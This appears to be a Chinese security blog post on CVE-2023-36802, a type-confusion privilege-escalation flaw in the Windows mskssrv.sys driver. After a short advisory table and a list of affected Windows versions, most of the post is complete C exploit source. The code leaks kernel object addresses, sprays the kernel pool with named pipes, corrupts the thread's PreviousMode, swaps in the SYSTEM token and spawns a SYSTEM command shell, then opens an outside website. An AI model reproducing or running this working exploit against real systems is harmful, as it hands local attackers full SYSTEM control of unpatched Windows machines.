Microsoft 流式处理代理权限提升漏洞(CVE-2023-36802):Windows 多媒体框架服务中的组件Microsoft Kernel Streaming Server (mskssrv.sys)中存在对象类型混淆漏洞,通过该漏洞,具有低权限的本地攻击者可以在越界内存上执行流对象操作,从而在内核中执行恶意代码,最终可以将权限提升至SYSTEM。
一、漏洞详情
漏洞名称 | Microsoft 流式处理代理权限提升漏洞 | ||
漏洞编号 | QVD-2023-22085、CVE-2023-36802 | ||
组件 | mskssrv.sys | 影响对象数量级 | 亿级 |
评级 | 高危 | CVSS 3.1分数 | 7.8 |
威胁类型 | 权限提升 | 利用可能性 | 高 |
POC状态 | 已公开 | 在野利用状态 | 已发现 |
EXP状态 | 已公开 | 技术细节状态 | 已公开 |
利用条件:需要本地、低权限。 |
二、复现情况
三、影响范围
Windows 10 Version 22H2 for 32-bit Systems
Windows 10 Version 22H2 for ARM64-based Systems
Windows 10 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for ARM64-based Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 version 21H2 for ARM64-based Systems
Windows 11 version 21H2 for x64-based Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
代码样本
Types.h
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <Psapi.h>
#include <stdint.h>
#define IOCTL_IniContextRendezv 0x2F0400
#define IOCTL_PublishTx 0x2F0408
#define IOCTL_PublishRx 0x2F040C
#define FSCTL_CODE 0x119FF8
#define OFFSET_OF_EX_FAST_REF 0x4B8
#define OFFSET_OF_PREVIOUS_MODE 0x232
#define OFFSET_OF_FSCONTEXT2 0x20
#define SPRAY_SIZE 0x10000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
// 0xC0 bytes
typedef struct _MY_IRP
{
uint64_t Type;
PVOID CurrentProcId;
uint64_t Flags;
HANDLE hEvent;
uint64_t values[20];
} MY_IRP;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemHandleInformation = 16,
SystemExtendedHandleInformation = 64,
SystemBigPoolInformation = 66,
SystemNonPagedPoolInformation = 15
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
unsigned short UniqueProcessId;
unsigned short CreatorBackTraceIndex;
unsigned char ObjectTypeIndex;
unsigned char HandleAttributes;
unsigned short HandleValue;
void* Object;
unsigned long GrantedAccess;
long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
PVOID Object;
ULONG_PTR UniqueProcessId;
ULONG_PTR HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
unsigned long NumberOfHandles;
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef struct _SYSTEM_BIGPOOL_ENTRY
{
union {
PVOID VirtualAddress;
ULONG_PTR NonPaged : 1;
};
ULONG_PTR SizeInBytes;
union {
UCHAR Tag[4];
ULONG TagUlong;
};
} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;
typedef struct _SYSTEM_BIGPOOL_INFORMATION {
ULONG Count;
SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY];
} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
#define InitializeObjectAttributes(p, n, a, r, s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) { sizeof(OBJECT_ATTRIBUTES), NULL, n, a, NULL, NULL }
#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a)
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* NtWriteVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten
);
typedef NTSTATUS(NTAPI* NtReadVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToRead,
PULONG NumberOfBytesRead
);
typedef NTSTATUS(NTAPI* NtFsControlFile_t)(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG FsControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
typedef NTSTATUS(NTAPI* NtDeviceIoControlFile_t)(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG IoControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
typedef NTSTATUS(NTAPI* NtOpenProcess_t)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
typedef NTSTATUS(NTAPI* NtOpenThread_t)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
exploit.c
#include "Types.h"
#pragma comment(lib, "ntdll.lib")
NtQuerySystemInformation_t NtQuerySystemInformation;
NtFsControlFile_t NtFsControlFile;
NtWriteVirtualMemory_t NtWriteVirtualMemory;
NtReadVirtualMemory_t NtReadVirtualMemory;
NtDeviceIoControlFile_t NtDeviceIoControlFile;
NtOpenProcess_t NtOpenProcess;
NtOpenThread_t NtOpenThread;
HANDLE hDevice;
PHANDLE hPipeArray[sizeof(HANDLE) * SPRAY_SIZE];
PHANDLE hFileArray[sizeof(HANDLE) * SPRAY_SIZE];
PHANDLE hPipeArray2[sizeof(HANDLE) * SPRAY_SIZE];
PHANDLE hFileArray2[sizeof(HANDLE) * SPRAY_SIZE];
#define READ_VM(addr) NtReadVirtualMemory(hProc, (LPVOID)((ULONG_PTR)(addr)), readbuffer, sizeof(ULONG_PTR), &NumberOfBytesRead);
#define WRITE_VM(addr, value) NtWriteVirtualMemory(hProc, (LPVOID)((ULONG_PTR)(addr)), value, sizeof(ULONG_PTR), &NumberOfBytesRead);
void PublishTx()
{
IO_STATUS_BLOCK ioStatus;
ULONG bytesReturned = 0;
MY_IRP inbuff = { 0 };
inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
inbuff.Type = 1;
inbuff.Flags = 0x000000136FE7474D;
inbuff.values[0] = 0x0000000100000001;
NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_PublishRx, &inbuff, 0x100, NULL, bytesReturned);
}
void FSInitializeContextRendezvous()
{
IO_STATUS_BLOCK ioStatus;
ULONG bytesReturned = 0;
MY_IRP inbuff = { 0 };
inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
inbuff.Type = 1;
inbuff.Flags = 0x000000136FE7474D;
NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_IniContextRendezv, &inbuff, 0x100, NULL, bytesReturned);
}
PVOID LeakObjectAddress(DWORD pid, HANDLE Object)
{
NTSTATUS status;
ULONG ulBytes = 0;
PSYSTEM_HANDLE_INFORMATION_EX handleTableInfo = NULL;
PVOID objectAddress = NULL;
// Allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
while ((status = NtQuerySystemInformation(SystemExtendedHandleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (handleTableInfo != NULL)
{
handleTableInfo = (PSYSTEM_HANDLE_INFORMATION_EX)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
}
else
{
handleTableInfo = (PSYSTEM_HANDLE_INFORMATION_EX)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (status == 0)
{
// iterate over the system's handle table and look for the handles beloging to our process
for (ULONG_PTR i = 0; i < handleTableInfo->HandleCount; i++)
{
// if it finds our process and the handle matches the current token handle we already opened, print it
if (handleTableInfo->Handles[i].UniqueProcessId == pid && handleTableInfo->Handles[i].HandleValue == Object)
{
objectAddress = handleTableInfo->Handles[i].Object;
break;
}
}
}
else
{
if (handleTableInfo != NULL)
{
wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
HeapFree(GetProcessHeap(), 0, handleTableInfo);
}
}
HeapFree(GetProcessHeap(), 0, handleTableInfo);
return objectAddress;
}
BOOL PipeSpray(PVOID payload, DWORD size) {
IO_STATUS_BLOCK isb;
OVERLAPPED overlap;
for (int i = 0; i < SPRAY_SIZE; i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\exploitpipe", PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, size, size, 0, 0);
if (hPipeArray[i] == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Error while creating the named pipe: %d\n", GetLastError());
return FALSE;
}
memset(&overlap, 0, sizeof(overlap));
overlap.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!overlap.hEvent) {
wprintf(L"[!] Error creating event: %d\n", GetLastError());
return FALSE;
}
hFileArray[i] = CreateFileW(L"\\\\.\\pipe\\exploitpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
if (hFileArray[i] == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Error while opening the named pipe: %d\n", GetLastError());
return FALSE;
}
NTSTATUS status = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, FSCTL_CODE, payload, size, NULL, 0);
if (status == STATUS_PENDING) {
DWORD bytesTransferred;
if (!GetOverlappedResult(hFileArray[i], &overlap, &bytesTransferred, TRUE)) {
wprintf(L"[!] Overlapped operation failed: %d\n", GetLastError());
return FALSE;
}
}
else if (status != 0) {
wprintf(L"[!] Error while calling NtFsControlFile: %p\n", status);
return FALSE;
}
CloseHandle(overlap.hEvent);
}
return TRUE;
}
BOOL FillTheHoles(PVOID payload, DWORD size) {
IO_STATUS_BLOCK isb;
OVERLAPPED overlap;
for (int i = 0; i < SPRAY_SIZE; i++) {
hPipeArray2[i] = CreateNamedPipeW(L"\\\\.\\pipe\\exploitpipe", PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, size, size, 0, 0);
if (hPipeArray2[i] == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Error while creating the named pipe: %d\n", GetLastError());
return FALSE;
}
memset(&overlap, 0, sizeof(overlap));
overlap.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!overlap.hEvent) {
wprintf(L"[!] Error creating event: %d\n", GetLastError());
return FALSE;
}
hFileArray2[i] = CreateFileW(L"\\\\.\\pipe\\exploitpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
if (hFileArray2[i] == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Error while opening the named pipe: %d\n", GetLastError());
return FALSE;
}
NTSTATUS status = NtFsControlFile(hPipeArray2[i], 0, 0, 0, &isb, FSCTL_CODE, payload, size, NULL, 0);
if (status == STATUS_PENDING) {
DWORD bytesTransferred;
if (!GetOverlappedResult(hFileArray2[i], &overlap, &bytesTransferred, TRUE)) {
wprintf(L"[!] Overlapped operation failed: %d\n", GetLastError());
return FALSE;
}
}
else if (status != 0) {
wprintf(L"[!] Error while calling NtFsControlFile: %p\n", status);
return FALSE;
}
CloseHandle(overlap.hEvent);
}
return TRUE;
}
void CreateHoles() {
for (int i = 0; i < SPRAY_SIZE; i += 4)
{
CloseHandle(hPipeArray[i]);
CloseHandle(hFileArray[i]);
}
}
BOOL NtResolver()
{
LPCWSTR ntdll = L"ntdll.dll";
NtDeviceIoControlFile = (NtDeviceIoControlFile_t)GetProcAddress(GetModuleHandleW(ntdll), "NtDeviceIoControlFile");
if (!NtDeviceIoControlFile)
{
wprintf(L"[!] Error while resolving NtDeviceIoControlFile: %d\n", GetLastError());
return FALSE;
}
NtOpenThread = (NtOpenThread_t)GetProcAddress(GetModuleHandleW(ntdll), "NtOpenThread");
if (!NtOpenThread)
{
wprintf(L"[!] Error while resolving NtOpenThread: %d\n", GetLastError());
return FALSE;
}
NtOpenProcess = (NtOpenProcess_t)GetProcAddress(GetModuleHandleW(ntdll), "NtOpenProcess");
if (!NtOpenProcess)
{
wprintf(L"[!] Error while resolving NtOpenProcess: %d\n", GetLastError());
return FALSE;
}
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(GetModuleHandleW(ntdll), "NtQuerySystemInformation");
if (!NtQuerySystemInformation)
{
wprintf(L"[!] Error while resolving NtQuerySystemInformation: %d\n", GetLastError());
return FALSE;
}
NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(GetModuleHandleW(ntdll), "NtWriteVirtualMemory");
if (!NtWriteVirtualMemory)
{
wprintf(L"[!] Error while resolving NtWriteVirtualMemory: %d\n", GetLastError());
return FALSE;
}
NtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(GetModuleHandleW(ntdll), "NtReadVirtualMemory");
if (!NtReadVirtualMemory)
{
wprintf(L"[!] Error while resolving NtReadVirtualMemory: %d\n", GetLastError());
return FALSE;
}
NtFsControlFile = (NtFsControlFile_t)GetProcAddress(GetModuleHandleW(ntdll), "NtFsControlFile");
if (!NtFsControlFile)
{
wprintf(L"[!] Error while resolving NtFsControlFile: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
int main()
{
PVOID OUR_EPROCESS, EPROCESS_SYS, ETHREAD, FILE_OBJECT; OUR_EPROCESS = EPROCESS_SYS = ETHREAD = FILE_OBJECT = NULL;
ULONG64 PreviousMode;
ULONG_PTR OurtokenAddress, SystokenAddress, fscontext2;
HRESULT hr;
HANDLE hProc;
hDevice = CreateFileA("\\\\?\\root#system#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96e080c7-143c-11d1-b40f-00a0c9223196}&{3c0d501a-140b-11d1-b40f-00a0c9223196}", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, 0, NULL);
if (!hDevice)
{
return 1;
}
if (!NtResolver())
{
return 1;
}
wprintf(L"[+] Successfully opened mskssrv device handle => %p\n", hDevice);
CLIENT_ID clientId = { (HANDLE)GetCurrentProcessId(), NULL };
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
NTSTATUS status = NtOpenProcess(&hProc, PROCESS_QUERY_LIMITED_INFORMATION, &objAttr, &clientId);
if (status != 0)
{
wprintf(L"[!] Error NtOpenProcess failed: %ld\n", status);
return 1;
}
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId());
if (!hThread)
{
wprintf(L"[!] Error while getting the thread ID: %ld\n", status);
return 1;
}
OUR_EPROCESS = LeakObjectAddress(GetCurrentProcessId(), hProc);
EPROCESS_SYS = LeakObjectAddress(4, (HANDLE)4);
FILE_OBJECT = LeakObjectAddress(GetCurrentProcessId(), hDevice);
ETHREAD = LeakObjectAddress(GetCurrentProcessId(), hThread);
if (!OUR_EPROCESS && !EPROCESS_SYS && !FILE_OBJECT && !ETHREAD)
{
wprintf(L"[!] Error when attempted to leak kernel addresses\n");
return 1;
}
OurtokenAddress = (ULONG_PTR)OUR_EPROCESS + OFFSET_OF_EX_FAST_REF;
SystokenAddress = (ULONG_PTR)EPROCESS_SYS + OFFSET_OF_EX_FAST_REF;
PreviousMode = (ULONG64)ETHREAD + OFFSET_OF_PREVIOUS_MODE;
fscontext2 = (ULONG_PTR)FILE_OBJECT + OFFSET_OF_FSCONTEXT2;
wprintf(L"[+] Our process EPROCESS => %p\n", OUR_EPROCESS);
wprintf(L"[+] Our process _EX_FAST_REF Token address => %p\n", OurtokenAddress);
wprintf(L"[+] System process EPROCESS => %p\n", EPROCESS_SYS);
wprintf(L"[+] System process _EX_FAST_REF Token address => %p\n", SystokenAddress);
wprintf(L"[+] Device handle => %p\n", FILE_OBJECT);
wprintf(L"[+] Main ETHREAD => %p\n", ETHREAD);
wprintf(L"[+] PreviousMode => %p\n", PreviousMode);
ULONG64 prevmode = PreviousMode + 0x30; // Add 0x30 because of ObfDereferenceObject+0x1f
/*
nt!ObfDereferenceObject:
fffff800`152381c0 mov qword ptr [rsp+8], rbx
fffff800`152381c5 mov qword ptr [rsp+10h],rsi
fffff800`152381ca push rdi
fffff800`152381cb sub rsp,30h
fffff800`152381cf cmp dword ptr [nt!ObpTraceFlags (fffff800`15604004)],0
fffff800`152381d6 mov rsi,rcx
fffff800`152381d9 jne nt!ObfDereferenceObject+0x160d16 (fffff800`15398ed6)
fffff800`152381df or rbx,0FFFFFFFFFFFFFFFFh
fffff800`152381e3 lock xadd qword ptr [rsi-30h],rbx
*/
LPVOID buffer = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
wprintf(L"[!] Error while allocating memory for the user buffer: %d\n", GetLastError());
return 1;
}
ZeroMemory(buffer, 4096);
*(ULONG_PTR*)((ULONG_PTR)buffer + 0 * sizeof(ULONG_PTR)) = buffer; // Linked list pointer
*(ULONG_PTR*)((ULONG_PTR)buffer + 11 * sizeof(ULONG_PTR)) = buffer;
*(ULONG_PTR*)((ULONG_PTR)buffer + 26 * sizeof(ULONG_PTR)) = 1; // Bypass rbx check in FSStreamReg::PublishRx
PVOID payload = malloc(128);
// Place previous mode address+0x30 at offset 0x18
memcpy((PVOID*)((ULONG_PTR)payload + 24), &prevmode, sizeof(ULONG_PTR)); // Offset 0x1c8 of object
// Reference user-mode buf as linked list
memcpy((PVOID*)((ULONG_PTR)payload + 32), &buffer, sizeof(ULONG_PTR)); // Offset 0x140 of object
memcpy((PVOID*)((ULONG_PTR)payload + 104), &buffer, sizeof(ULONG_PTR)); // Offset 0x188 of object
memcpy((PVOID*)((ULONG_PTR)payload + 120), &buffer, sizeof(ULONG_PTR)); // Offset 0x198 of object
// Spray the pool with named pipes
wprintf(L"[+] Spraying the pool with objects of size 0x80\n");
if (!PipeSpray(payload, 128)) {
wprintf(L"[!] PipeSpray failed.\n");
return 1; // Exit or handle the error accordingly
}
// Create holes
wprintf(L"[+] Closing some pipes to create holes in the pool spray\n");
CreateHoles();
wprintf(L"[+] Made some holes!\n");
// Allocate context registration object
wprintf(L"[+] Allocating context registration object\n");
FSInitializeContextRendezvous();
// Fill the holes in the pool with our payload
wprintf(L"[+] Spraying the pool with objects of size 0x80\n");
if (!FillTheHoles(payload, 128)) {
wprintf(L"[!] PipeSpray failed.\n");
return 1; // Exit or handle the error accordingly
}
// Start separate thread for PublishTx call
wprintf(L"[+] Executing PublishTx in a separate thread\n");
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PublishTx, NULL, 0, NULL);
Sleep(2000);
wprintf(L"[+] Overwrite Previous Mode Completed\n");
LPVOID readbuffer = malloc(sizeof(ULONG_PTR));
ULONG NumberOfBytesRead = 0;
memset(readbuffer, 0, sizeof(ULONG_PTR));
wprintf(L"[+] Trying to overwrite our token with system token\n");
READ_VM(SystokenAddress)
WRITE_VM(OurtokenAddress, readbuffer)
wprintf(L"[+] Overwrite was successful!\n");
wprintf(L"[+] Trying to get FsContextReg object address\n");
READ_VM(fscontext2)
ULONG_PTR pCreg = *(PULONG_PTR)readbuffer;
wprintf(L"[+] FsContextReg object address => 0x%p\n", pCreg);
LONG_PTR procbilled = pCreg + 0x1a8;
READ_VM(procbilled)
ULONG_PTR ProcessBilledValue = *(PULONG_PTR)readbuffer;
wprintf(L"[+] ProcessBilled value = %llu\n", ProcessBilledValue);
ULONG_PTR zero_out = 0;
WRITE_VM(procbilled, &zero_out)
wprintf(L"[+] ProcessBilled set to zero\n");
Sleep(1000);
*(ULONG_PTR*)((ULONG_PTR)buffer + 0 * sizeof(ULONG_PTR)) = 0;
Sleep(2000);
wprintf(L"[+] Restoring ProcessBilled value...\n");
WRITE_VM(procbilled, &ProcessBilledValue)
wprintf(L"[+] Done\n");
Sleep(2000);
wprintf(L"[+] Incrementing ref count of EPROCESS OBJECT_HEADER...\n");
ULONG_PTR object_header = (ULONG_PTR)OUR_EPROCESS - 0x30;
wprintf(L"[+] Current EPROCESS's OBJECT_HEADER address => 0x%p\n", object_header);
READ_VM(object_header)
ULONG_PTR PointerCount = *(PULONG_PTR)readbuffer;
wprintf(L"[+] Current Ref Count => 0x%p\n", PointerCount);
PointerCount++;
WRITE_VM(object_header, &PointerCount)
wprintf(L"[+] Done\n");
Sleep(2000);
wprintf(L"[+] Restoring PreviousMode...\n");
READ_VM(PreviousMode)
ULONG_PTR restore_prevmode = *(PULONG_PTR)readbuffer ^ 1;
WRITE_VM(PreviousMode, &restore_prevmode)
wprintf(L"[+] PreviousMode set to 1 successfully!\n");
Sleep(500);
system("start cmd.exe");
Sleep(500);
system("start https://www.chwm.vip/?CVE-2023-36802");
for (int i = 0; i < SPRAY_SIZE; i++)
{
CloseHandle(hPipeArray[i]);
CloseHandle(hFileArray[i]);
CloseHandle(hPipeArray2[i]);
CloseHandle(hFileArray2[i]);
}
CloseHandle(hDevice);
CloseHandle(hProc);
CloseHandle(hThread);
Sleep(1000);
return 0;
}
完整项目下载